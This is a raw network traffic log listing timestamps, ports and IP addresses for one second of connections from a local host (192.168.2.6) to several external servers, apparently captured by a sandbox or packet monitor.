Nov 12, 2024 13:35:32.623049021 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.623078108 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.623085976 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.623092890 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.623147964 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.716660976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.716738939 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.717117071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.717279911 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.717315912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.717493057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.717502117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.717514038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.717525959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.717540026 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.717561960 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.717698097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.717750072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.717839956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.717850924 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.717884064 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.717932940 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.718020916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.718033075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.718044996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.718122959 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.718122959 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.727881908 CET	51604	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.727914095 CET	443	51604	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.727984905 CET	51604	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.728296995 CET	51605	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.728359938 CET	443	51605	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.728426933 CET	51605	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.728601933 CET	51604	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.728614092 CET	443	51604	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.728759050 CET	51605	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.728775978 CET	443	51605	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.740581989 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.740607977 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.740622997 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.740647078 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.740786076 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.740792036 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.740842104 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.749252081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.749322891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.749465942 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.788132906 CET	51606	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.788162947 CET	443	51606	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.788214922 CET	51606	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.788417101 CET	51607	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.788458109 CET	443	51607	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.788688898 CET	51607	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.788887978 CET	51606	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.788902998 CET	443	51606	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.788996935 CET	51607	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:32.789010048 CET	443	51607	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:32.833971977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.834048986 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.834096909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.834112883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.834148884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.834209919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.834230900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.834255934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.834264994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.834291935 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.834300995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.834314108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.834320068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.834378004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.834877014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.834935904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.834947109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.834949970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.834976912 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.835005999 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.835088968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.835099936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.835163116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.835201979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.858480930 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.858510971 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.858545065 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.858552933 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.858607054 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.858825922 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.858874083 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.858877897 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.858889103 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.858920097 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.859914064 CET	51597	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.859926939 CET	443	51597	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.866765022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.866799116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.866808891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.866810083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.866856098 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.866867065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.866905928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.866906881 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.948335886 CET	443	51599	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.949969053 CET	51599	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.949982882 CET	443	51599	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.950481892 CET	51599	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.950485945 CET	443	51599	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.951524973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.951581001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.951626062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.951626062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.951966047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.952027082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.952039957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.952083111 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.952127934 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.952475071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.952487946 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.952507973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.952522039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.952534914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.952542067 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.952548981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.952600956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.952600956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.952615023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.952970028 CET	443	51601	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.952992916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.953049898 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.953232050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.953244925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.953298092 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.953615904 CET	51601	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.953644991 CET	443	51601	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.954175949 CET	51601	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.954180956 CET	443	51601	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.960079908 CET	443	51602	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.960567951 CET	51602	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.960594893 CET	443	51602	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.961081028 CET	51602	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.961086035 CET	443	51602	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.965070009 CET	443	51600	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.965408087 CET	51600	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.965423107 CET	443	51600	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.966269016 CET	51600	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:32.966275930 CET	443	51600	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:32.984333038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.984414101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.984414101 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.984433889 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:32.984498024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:32.984498024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.002053022 CET	443	51603	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.003786087 CET	51603	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.003818035 CET	443	51603	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.004348040 CET	51603	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.004354000 CET	443	51603	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.068902016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.068950891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.069039106 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.069039106 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.069067001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.069127083 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.069133043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.069159985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.069209099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.069209099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.069250107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.069293022 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.069473028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.069540977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.069581032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.069595098 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.069670916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.069696903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.069708109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.069921970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.069957972 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.069957972 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.069957972 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.070035934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.070048094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.070169926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.070312023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.070312023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.070312023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.078061104 CET	443	51599	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.078319073 CET	443	51599	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.078428030 CET	51599	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.079085112 CET	51599	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.079096079 CET	443	51599	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.079108000 CET	51599	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.079113007 CET	443	51599	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.083945990 CET	51608	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.083981991 CET	443	51608	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.084121943 CET	51608	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.084212065 CET	51608	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.084227085 CET	443	51608	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.085124969 CET	443	51601	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.085907936 CET	443	51601	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.086551905 CET	51601	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.086605072 CET	51601	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.086615086 CET	443	51601	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.086625099 CET	51601	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.086630106 CET	443	51601	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.090346098 CET	51609	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.090368986 CET	443	51609	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.090415955 CET	51609	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.092680931 CET	51609	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.092689991 CET	443	51609	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.094733000 CET	443	51602	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.094782114 CET	443	51602	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.094913006 CET	51602	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.094938040 CET	51602	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.094953060 CET	443	51602	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.094964027 CET	51602	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.094969034 CET	443	51602	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.097196102 CET	51610	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.097210884 CET	443	51610	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.097472906 CET	51610	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.098320961 CET	51610	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.098340988 CET	443	51610	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.098872900 CET	443	51600	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.099025965 CET	443	51600	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.099096060 CET	51600	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.099210024 CET	51600	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.099216938 CET	443	51600	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.099225998 CET	51600	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.099230051 CET	443	51600	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.101993084 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.102072954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.102087021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.102102995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.102154970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.102165937 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.102169991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.102210045 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.102242947 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.109383106 CET	51611	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.109396935 CET	443	51611	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.109549046 CET	51611	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.109844923 CET	51611	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.109863997 CET	443	51611	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.145325899 CET	443	51603	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.145401001 CET	443	51603	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.145490885 CET	51603	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.145735979 CET	51603	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.145744085 CET	443	51603	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.145761013 CET	51603	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.145764112 CET	443	51603	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.148972034 CET	51612	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.149018049 CET	443	51612	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.149070978 CET	51612	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.150043964 CET	51612	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:33.150058031 CET	443	51612	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:33.154920101 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:33.154958010 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:33.155028105 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:33.155242920 CET	51613	443	192.168.2.6	152.195.19.97
Nov 12, 2024 13:35:33.155257940 CET	443	51613	152.195.19.97	192.168.2.6
Nov 12, 2024 13:35:33.168102026 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:33.168137074 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:33.168276072 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:33.168463945 CET	51614	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:33.168478966 CET	443	51614	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:33.186368942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.186505079 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.186521053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.186527014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.186548948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.186572075 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.186610937 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.186784029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.186885118 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.186923027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.186933994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.187015057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.187027931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.187040091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.187062025 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.187118053 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.187172890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.187262058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.187446117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.187557936 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.187591076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.187603951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.187614918 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.187663078 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.187663078 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.187788963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.187870979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.219482899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.219589949 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.219602108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.219618082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.219647884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.219661951 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.219702959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.219777107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.219830036 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.304613113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.304666042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.304677963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.304711103 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.304752111 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.304862976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.304920912 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.304955006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.304966927 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.305020094 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.305208921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.305219889 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.305237055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.305286884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.305286884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.305454969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.305517912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.305530071 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.305566072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.305620909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.305632114 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.305671930 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.337150097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.337197065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.337208986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.337232113 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.337280035 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.337747097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.337804079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:33.337817907 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.337871075 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:33.367432117 CET	443	51604	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.367718935 CET	51604	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.367727995 CET	443	51604	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.368032932 CET	443	51604	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.368448973 CET	51604	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.368505001 CET	443	51604	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.389374018 CET	443	51605	162.159.61.3	192.168.2.6
Nov 12, 2024 13:35:33.389610052 CET	51605	443	192.168.2.6	162.159.61.3
Nov 12, 2024 13:35:33.389638901 CET	443	51605	162.159.61.3	192.168.2.6
